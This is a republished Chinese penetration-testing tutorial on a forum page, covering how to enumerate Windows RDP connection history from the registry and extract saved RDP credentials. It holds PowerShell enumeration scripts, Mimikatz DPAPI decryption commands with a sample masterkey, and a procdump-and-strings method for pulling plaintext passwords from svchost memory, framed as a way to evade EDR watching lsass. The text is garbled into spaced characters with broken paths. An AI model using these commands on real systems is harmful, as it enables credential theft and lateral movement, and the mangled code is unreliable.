搜索

[18608] 2021-08-03_内网渗透｜获取远程桌面连接记录与RDP凭据

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-08-03_内网渗透｜获取远程桌面连接记录与RDP凭据 内 网 渗 透 ｜ 获 取 远 程 桌 面 连 接 记 录 与 R D P 凭 据 原 创   W H O A M I   H A C K 学 习 呀   2 0 2 1 - 0 8 - 0 3 收 录 于 话 题 # 远 程 桌 面   , 3 # 渗 透 测 试   , 1 2 # 内 网 渗 透   , 2 0 前 言 前 言 W i n d o w s   远 程 桌 面 是 用 于 管 理   W i n d o w s   服 务 器 的 最 广 泛 使 用 的 工 具 之 一 。 管 理 员 喜 欢 使 用 远 程 桌 面 ， 攻 击 者 也 喜 欢 使 用 （ 狗 头 ） 。 在 之 前 的 文 章 中 我 们 已 经 介 绍 了 很 多 攻 击 远 程 桌 面 的 方 法 ， 本 篇 文 章 我 们 继 续 来 探 究 。 在 渗 透 测 试 中 ， R D P   远 程 桌 面 连 接 的 历 史 记 录 不 可 忽 视 ， 根 据 历 史 连 接 记 录 我 们 往 往 能 够 定 位 出 关 键 的 服 务 器 。 并 且 ， 当 我 们 发 现 了 某 台 主 机 上 存 在 远 程 桌 面 的 连 接 记 录 ， 我 们 还 可 以 想 办 法 获 取 其 远 程 桌 面 登 录 历 史 的 连 接 凭 据 。 用 于 登 录   R D P   远 程 桌 面 会 话 的 凭 据 通 常 具 有 特 权 ， 这 使 它 们 成 为 红 队 操 作 期 间 的 完 美 目 标 。 获 取 获 取   R D P   远 程 桌 面 连 接 记 录 远 程 桌 面 连 接 记 录 获 取   R D P   远 程 桌 面 的 连 接 记 录 我 们 可 以 通 过 枚 举 注 册 表 完 成 ， 但 是 如 果 想 要 获 得 所 有 用 户 的 历 史 记 录 ， 需 要 逐 个 获 得 用 户 的   N T U S E R . D A T   文 件 ， 通 过 注 册 表 加 载 配 置 单 元 ， 导 入 用 户 配 置 信 息 ， 再 进 行 枚 举 才 能 够 实 现 。 导 出 当 前 用 户 的 历 史 记 录 导 出 当 前 用 户 的 历 史 记 录 可 以 通 过 枚 举 以 下 注 册 表 键 值 查 看 当 前 用 户 的 历 史 记 录 ： 如 下 图 所 示 ， 每 个 注 册 表 项 保 存 连 接 的 服 务 器 地 址 ， 其 中 的 键 值     对 应 登 录 用 户 名 ： H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t T e r m i n a l   S e r v e r   C l i e n t S e r v e r s U s e r n a m e H i n t
i m a g e - 2 0 2 1 0 5 2 4 0 8 4 5 5 3 4 4 7 看 也 可 以 通 过   P o w e r S h e l l   命 令 行 来 实 现 ， 首 先 通 过 以 下 命 令 枚 举 指 定 注 册 表 项 下 所 有 的 的 子 项 ， 即 当 前 用 户 所 连 接 过 的 所 有 的 主 机 名 ： i m a g e - 2 0 2 1 0 5 2 4 0 9 3 3 2 1 7 7 5 然 后 使 用 以 下 命 令 查 询 指 定 注 册 表 项 的 注 册 表 键 值 ， 即 查 看 连 接 所 使 用 的 用 户 名 ： i m a g e - 2 0 2 1 0 5 2 4 0 9 3 4 3 1 9 1 2 下 面 给 出 一 个 三 好 学 生 写 的 枚 举 脚 本 ： 导 出 已 登 录 用 户 的 历 史 记 录 导 出 已 登 录 用 户 的 历 史 记 录 已 登 录 用 户 的 注 册 表 信 息 会 同 步 保 存 在   d i r   " R e g i s t r y : : H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t T e r m i n a l   S e r v e r   C l i e n t S e r v e r s "   - N a m e ( G e t - I t e m P r o p e r t y   - P a t h   " R e g i s t r y : : H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t T e r m i n a l   S e r v e r   C l i e n t S e r v e r s 1 9 2 . 1 6 8 . 9 3 . 3 0 " ) . U s e r n a m e H i n t $ R e g P a t h   =   " R e g i s t r y : : H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t T e r m i n a l   S e r v e r   C l i e n t S e r v e r s " $ Q u e r y P a t h   =   d i r   $ R e g P a t h   - N a m e f o r e a c h ( $ N a m e   i n   $ Q u e r y P a t h ) {               T r y             {                     $ U s e r   =   ( G e t - I t e m P r o p e r t y   - P a t h   $ R e g P a t h $ N a m e   - E r r o r A c t i o n   S t o p   |   O u t - N u l l ) . U s e r n a m e H i n t                         W r i t e - H o s t   " S e r v e r : " $ N a m e                         W r i t e - H o s t   " U s e r : " $ U s e r " ` n "                 }                 C a t c h                     {                 W r i t e - H o s t   " N o   R D P   C o n n e c t i o n s   H i s t o r y "                 } } H K E Y _ U S E R S < S I D >
  目 录 下 ，   要 对 应 每 个 用 户 的   S I D ： i m a g e - 2 0 2 1 0 5 2 4 0 8 5 8 4 1 5 5 5 可 以 看 到 ， 当 前 系 统 登 录 三 个 用 户 ， 分 别 有 三 个 子 项 。 我 们 可 以 通 过 枚 举 注 册 表 键 值     就 能 够 获 得 已 登 录 用 户 的 远 程 桌 面 连 接 历 史 记 录 ： i m a g e - 2 0 2 1 0 5 2 4 0 8 5 9 4 6 7 1 3 也 就 是 说 ， 如 果 当 前 主 机 登 录 了 两 个 用 户 ， 那 么 这 两 个 用 户 的 注 册 表 信 息 都 会 保 存 在     下 。 但 如 果 第 三 个 用 户 未 登 录 ， 此 时 是 无 法 直 接 获 得 该 用 户 的 注 册 表 信 息 的 ， 会 报 如 下 错 误 ： < S I D > H K E Y _ U S E R S S I D S o f t w a r e M i c r o s o f t T e r m i n a l   S e r v e r   C l i e n t S e r v e r s H K E Y _ U S E R S < S I D >
i m a g e - 2 0 2 1 0 5 2 4 0 9 0 4 2 1 6 6 2 也 就 无 法 直 接 导 出 该 用 户 的 远 程 桌 面 连 接 历 史 记 录 。 最 后 给 出 一 个 三 好 学 生 写 的 枚 举 脚 本 ： 导 出 所 有 用 户 的 历 史 记 录 导 出 所 有 用 户 的 历 史 记 录 前 面 刚 说 了 ， 对 于 未 登 录 用 户 ， 无 法 直 接 获 得 注 册 表 配 置 信 息 ， 那 有 什 么 解 决 办 法 ？ 其 实 这 里 可 以 通 过 加 载 配 置 单 元 的 方 式 来 解 决 ， 即 打 开 用 户 的   N T U S E R . D A T   文 件 ， 加 载 配 置 单 元 导 入 用 户 配 置 信 息 ， 然 后 进 行 枚 举 。 选 中   H K E Y _ U S E R S   项 ， “ 文 件 ”   — >   “ 加 载 配 置 单 元 ” ， 如 下 图 ： $ A l l U s e r   =   G e t - W m i O b j e c t   - C l a s s   W i n 3 2 _ U s e r A c c o u n t f o r e a c h ( $ U s e r   i n   $ A l l U s e r ) {         $ R e g P a t h   =   " R e g i s t r y : : H K E Y _ U S E R S " + $ U s e r . S I D + " S o f t w a r e M i c r o s o f t T e r m i n a l   S e r v e r   C l i e n t S e r v e r s "         W r i t e - H o s t   " U s e r : " $ U s e r . N a m e         W r i t e - H o s t   " S I D : " $ U s e r . S I D         W r i t e - H o s t   " S t a t u s : " $ U s e r . S t a t u s         T r y                     {                   $ Q u e r y P a t h   =   d i r   $ R e g P a t h   - N a m e   - E r r o r A c t i o n   S t o p         }         C a t c h         {                 W r i t e - H o s t   " N o   R D P   C o n n e c t i o n s   H i s t o r y "                 W r i t e - H o s t   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "                 c o n t i n u e         }         f o r e a c h ( $ N a m e   i n   $ Q u e r y P a t h )         {                       T r y                             {                                     $ U s e r   =   ( G e t - I t e m P r o p e r t y   - P a t h   $ R e g P a t h $ N a m e   - E r r o r A c t i o n   S t o p ) . U s e r n a m e H i n t                                 W r i t e - H o s t   " S e r v e r : " $ N a m e                                 W r i t e - H o s t   " U s e r : " $ U s e r                         }                         C a t c h                             {                         W r i t e - H o s t   " N o   R D P   C o n n e c t i o n s   H i s t o r y "                         }         }         W r i t e - H o s t   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "         }
i m a g e - 2 0 2 1 0 5 2 4 0 9 1 0 2 6 2 4 7 选 择 打 开 用 户 的   N T U S E R . D A T   文 件 ， 路 径 为   ， 这 里 以 当 前 未 登 录 的   m o r e t z   用 户 为 例 ： i m a g e - 2 0 2 1 0 5 2 4 0 9 2 2 4 6 9 2 7 接 着 指 定 一 个 项 名 称 ， 即 可 在   H K E Y _ U S E R S   下 读 取 该 用 户 的 注 册 表 配 置 信 息 ， 如 下 图 所 示 ： C : D o c u m e n t s   a n d   S e t t i n g s 用 户 名 N T U S E R . D A T
i m a g e - 2 0 2 1 0 5 2 4 0 9 2 4 0 4 5 3 8 然 后 按 照 之 前 的 路 径 进 行 枚 举 即 可 。 此 外 ， 也 可 以 通 过 命 令 行 实 现 加 载 配 置 单 元 的 实 例 ： 最 后 给 出 一 个 三 好 学 生 写 的 枚 举 脚 本 ： h t t p s : / / g i t h u b . c o m / 3 g s t u d e n t / L i s t - R D P - C o n n e c t i o n s - H i s t o r y 获 取 获 取   R D P   远 程 桌 面 连 接 凭 据 远 程 桌 面 连 接 凭 据 一 般 的 ， 就 抓 取 凭 据 方 面 而 言 ， 很 多 人 专 注 于 从   l s a s s . e x e   进 程 里 面 窃 取 凭 据 ， 但 是   l s a s s . e x e   通 常 来 说 已 经 是 被   E D R   产 品 重 点 监 控 的 进 程 了 ， 因 此 我 们 自 然 而 然 的 研 究 方 向 便 是 找 到 可 能 不 太 严 格 审 查 的 替 代 方 案 。 这 就 引 出 了 我 们 下 文 中 对   R D P   凭 据 的 收 集 。 与   l s a s s . e x e   一 样 ， R D P   协 议 相 关 的 进 程 例 如   s v c h o s t . e x e 、 m s t s c . e x e   等 也 在 收 集 凭 证 的 范 围 内 ， 并 且 从 这 些 进 程 中 收 集 凭 据 不 需 要 管 理 员 特 权 。 当 我 们 发 现 目 标 主 机 中 存 在 远 程 桌 面 连 接 的 历 史 记 录 时 ， 我 们 可 以 根 据 历 史 记 录 找 到 其 连 接 过 的 远 程 桌 面 ， 并 确 定 出 关 键 的 服 务 器 。 但 光 找 到 关 键 的 服 务 器 那 能 够 啊 ！ 我 们 最 好 能 够 导 出 连 接 远 程 桌 面 的 连 接 凭 据 ， 获 取 服 务 器 密 码 。 下 面 我 们 便 来 简 单 介 绍 几 个 可 以 导 出 远 程 桌 面 连 接 凭 据 的 方 法 。 在 凭 据 管 理 器 中 查 看 在 凭 据 管 理 器 中 查 看   W i n d o w s   凭 据 凭 据 对 于 那 些 经 常 使 用   R D P   远 程 桌 面 连 接 远 程 服 务 器 的 用 户 来 说 ， 如 果 他 不 想 对 远 程 主 机 进 行 多 次 身 份 验 证 的 话 ， 他 们 可 能 会 保 存 连 接 的 详 细 信 息 ， 以 便 进 行 快 速 的 身 份 验 证 。 而 这 些 凭 据 使 用 数 据 保 护   A P I   以 加 密 的 形 式 存 储 在   W i n d o w s   的 凭 据 管 理 器 中 。 R e g   l o a d   H K E Y _ U S E R S t e s t m o r e t z   C : D o c u m e n t s   a n d   S e t t i n g s m o r e t z N T U S E R . D A T
i m a g e - 2 0 2 1 0 7 1 3 1 4 2 9 3 7 2 5 0 这 些   W i n d o w s   凭 据 保 存 在 磁 盘 上 的 以 下 位 置 中 ： 我 们 可 以 用 如 下 命 令 查 看 当 前 主 机 上 保 存 的 连 接 凭 据 ： i m a g e - 2 0 2 1 0 7 1 3 1 4 3 7 5 9 7 6 4 如 上 图 可 以 看 到 ， C r e d e n t i a l s   目 录 下 保 存 有 两 个 历 史 连 接 凭 据 ， 但 里 面 的 凭 据 是 加 密 的 ， 要 想 查 看 还 需 要 使 用   M i m i k a t z 。 使 用 使 用   M i m i k a t z   导 出 导 出 M i m i k a t z   也 支 持 导 出   W i n d o w s   上   C r e d e n t i a l s   目 录 下 保 存 的 远 程 桌 面 连 接 凭 据 。 首 先 执 行 以 下 命 令 ： C : U s e r s < 用 户 名 > A p p D a t a L o c a l M i c r o s o f t C r e d e n t i a l s c m d k e y   / l i s t         #   查 看 当 前 保 存 的 凭 据 d i r   / a   % u s e r p r o f i l e % A p p D a t a L o c a l M i c r o s o f t C r e d e n t i a l s *         #   遍 历   C r e d e n t i a l s   目 录 下 保 存 的 凭 据
i m a g e - 2 0 2 1 0 7 1 3 1 4 4 8 2 2 1 5 5 如 上 图 ， 得 到 的   p b D a t a   就 是 凭 据 的 加 密 数 据 ， g u i d M a s t e r K e y   是 凭 据 的   G U I D 。 然 后 将 上 图 中 得 到 的   g u i d M a s t e r K e y   值 （   ） 记 录 下 来 并 执 行 以 下 命 令 ， 找 到 与   g u i d M a s t e r K e y   也 就 是 下 图 执 行 结 果 中 的   G U I D   相 关 联 的   M a s t e r K e y ： i m a g e - 2 0 2 1 0 7 1 3 1 4 5 4 3 2 9 3 3 记 录   M a s t e r K e y   的 值 为   。 这 个   M a s t e r K e y   就 是 加 密 凭 据 所 使 用 的 密 钥 。 最 后 执 行 以 下 命 令 ， 使 用 上 面 找 到 的   M a s t e r K e y   值 破 解 指 定 的 凭 据 文 件   4 D 8 F 5 4 3 A C D 1 0 B 1 4 3 8 4 9 4 1 4 A 5 0 8 5 F E 4 E 6 ： p r i v i l e g e : : d e b u g d p a p i : : c r e d   / i n : C : U s e r s b u n n y A p p D a t a L o c a l M i c r o s o f t C r e d e n t i a l s 4 D 8 F 5 4 3 A C D 1 0 B 1 4 3 8 4 9 4 1 4 A 5 0 8 5 F E 4 E 6 #   m i m i k a t z . e x e   " p r i v i l e g e : : d e b u g "   " d p a p i : : c r e d   / i n : C : U s e r s < 用 户 名 > A p p D a t a L o c a l M i c r o s o f t C r e d e n t i a l s < 凭 据 文 件 > " { b 3 d 8 9 8 7 a - 4 2 d d - 4 c 6 b - 9 c 7 f - a 3 7 d 9 3 e 7 2 2 b 9 } p r i v i l e g e : : d e b u g s e k u r l s a : : d p a p i #   m i m i k a t z . e x e   " p r i v i l e g e : : d e b u g "   " s e k u r l s a : : d p a p i " 5 3 c 0 1 b 9 6 7 9 d c 0 e 5 5 b 9 1 5 8 4 7 8 1 f e 1 3 e b 1 c 5 f a a 2 6 9 4 f c 6 9 3 f 9 8 8 3 8 f e d d 7 4 d 3 a d 3 7 1 7 5 4 b 9 d 9 d 8 4 1 7 6 9 8 8 2 c 8 e 1 4 c 9 6 5 e 4 a e 4 0 a 4 5 d c e 8 8 1 0 1 c f 5 8 3 1 f c 4 d 6 9 4 c c 3 8 e 8 1 m i m i k a t z . e x e   " d p a p i : : c r e d   / i n : C : U s e r s b u n n y A p p D a t a L o c a l M i c r o s o f t C r e d e n t i a l s 4 D 8 F 5 4 3 A C D 1 0 B 1 4 3 8 4 9 4 1 4 A 5 0 8 5 F E 4 E 6   / m a s t e r k e y : 5 3 c 0 1 b 9 6 7 9 d c 0 e 5 5 b 9 1 5 8 4 7 8 1 f e 1 3 e b 1 c 5 f a a 2 6 9 4 f c 6 9 3 f 9 8 8 3 8 f e d d 7 4 d 3 a d 3 7 1 7 5 4 b 9 d 9 d 8 4 1 7 6 9 8 8 2 c 8 e 1 4 c 9 6 5 e 4 a e 4 0 a 4 5 d c e 8 8 1 0 1 c f 5 8 3 1 f c 4 d 6 9 4 c c 3 8 e 8 1 "
i m a g e - 2 0 2 1 0 7 1 3 1 4 5 9 4 6 9 4 9 如 下 图 所 示 ， 成 功 破 解 得 到 了 明 文 凭 据 ： i m a g e - 2 0 2 1 0 7 1 3 1 5 0 0 5 0 0 6 3 从 从   s v c h o s t   中 获 取 中 获 取   R D P   连 接 凭 据 连 接 凭 据 s v c h o s t . e x e   是 一 个   W i n d o w s   系 统 进 程 ， s v c h o s t . e x e   是 从 动 态 链 接 库   ( D L L )   中 运 行 的 服 务 的 通 用 主 机 进 程 名 称 。 这 个 程 序 对 系 统 的 正 常 运 行 是 非 常 重 要 ， 可 以 承 载 多 个 服 务 来 防 止 资 源 消 耗 。 许 多 服 务 通 过 注 入 到 该 程 序 中 启 动 ， 所 以 当 我 们 查 看 进 程 列 表 时 会 有 多 个 该 文 件 的 进 程 。 当 用 户 在 目 标 主 机 上 开 启 运 行   R D P   远 程 桌 面 并 通 过 远 程 桌 面 连 接 进 行 身 份 验 证 时 ， 终 端 服 务 会 由   s v c h o s t   进 程 托 管 。 但 是 基 于   W I n d o w s   身 份 验 证 机 制 的 工 作 原 理 ， R D P 连 接 凭 据 是 以 纯 文 本 形 式 存 储 在   s v c h o s t   进 程 的 内 存 中 的 。 所 以 我 们 可 以 通 过 转 储   s v c h o s t   进 程 的 内 存 来 获 取   R D P   连 接 凭 据 。 由 于 查 看 进 程 列 表 往 往 会 有 多 个   s v c h o s t   进 程 ， 所 以 我 们 要 先 识 别 是 哪 个 进 程 托 管 了 终 端 服 务 的 连 接 。 执 行 如 下 命 令 查 询 终 端 服 务 ： i m a g e - 2 0 2 1 0 7 1 4 0 1 2 5 5 5 6 9 6 可 以 看 到 终 端 服 务 的   P I D   为   4 6 1 6 。 查 询 哪 个 任 务 加 载 了   r d p c o r e t s . d l l ： s c   q u e r y e x   t e r m s e r v i c e t a s k l i s t   / M : r d p c o r e t s . d l l
i m a g e - 2 0 2 1 0 7 1 4 0 1 2 6 5 6 9 3 9 进 程   P I D   还 是   4 6 1 6 。 查 询 终 端 服 务 的 网 络 连 接 情 况 ： i m a g e - 2 0 2 1 0 7 1 4 0 1 2 7 4 5 6 3 9 P I D   还 是   4 6 1 6 。 现 在 我 们 便 可 以 确 定 ， P I D   为   4 6 1 6   的 进 程 托 管 了 终 端 服 务 的 连 接 。 然 后 我 们 便 可 以 通 过   p r o c d u m p . e x e   将   P I D   为   4 6 1 6   的 进 程 内 存 转 储 为   . d m p   了 ： i m a g e - 2 0 2 1 0 7 1 4 0 1 2 5 1 9 7 0 9 转 储 成 功 后 生 成   s v c h o s t . e x e _ 2 1 0 7 1 4 _ 0 1 2 4 2 6 . d m p   文 件 ， 大 约   1 3 7   M B ， R D P   的 连 接 凭 据 就 以 明 文 的 形 式 存 储 在 这 个 文 件 里 面 ， 如 下 我 们 可 以 通 过   s t r i n g s   命 令 将 明 文 凭 据 检 索 出 来 ， 密 码 位 于 用 户 名 的 下 方 ： i m a g e - 2 0 2 1 0 7 1 4 0 1 3 4 0 2 4 2 5 从 已 存 在 的 从 已 存 在 的   R D P   连 接 中 导 出 连 接 中 导 出 M i m i k a t z   也 支 持 从 已 存 在 的   R D P   连 接 中 直 接 导 出 远 程 桌 面 连 接 凭 据 。 命 令 执 行 如 下 ： n e t s t a t   - n o b   |   S e l e c t - S t r i n g   T e r m S e r v i c e   - C o n t e x t   1 p r o c d u m p 6 4 . e x e   - m a   4 6 1 6   - a c c e p t e u l a   C : U s e r s A d m i n i s t r a t o r D e s k t o p s t r i n g s   - e l   s v c h o s t . e x e _ 2 1 0 * . d m p   |   g r e p   W h o a m i 2 0 2 1   - C 3
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理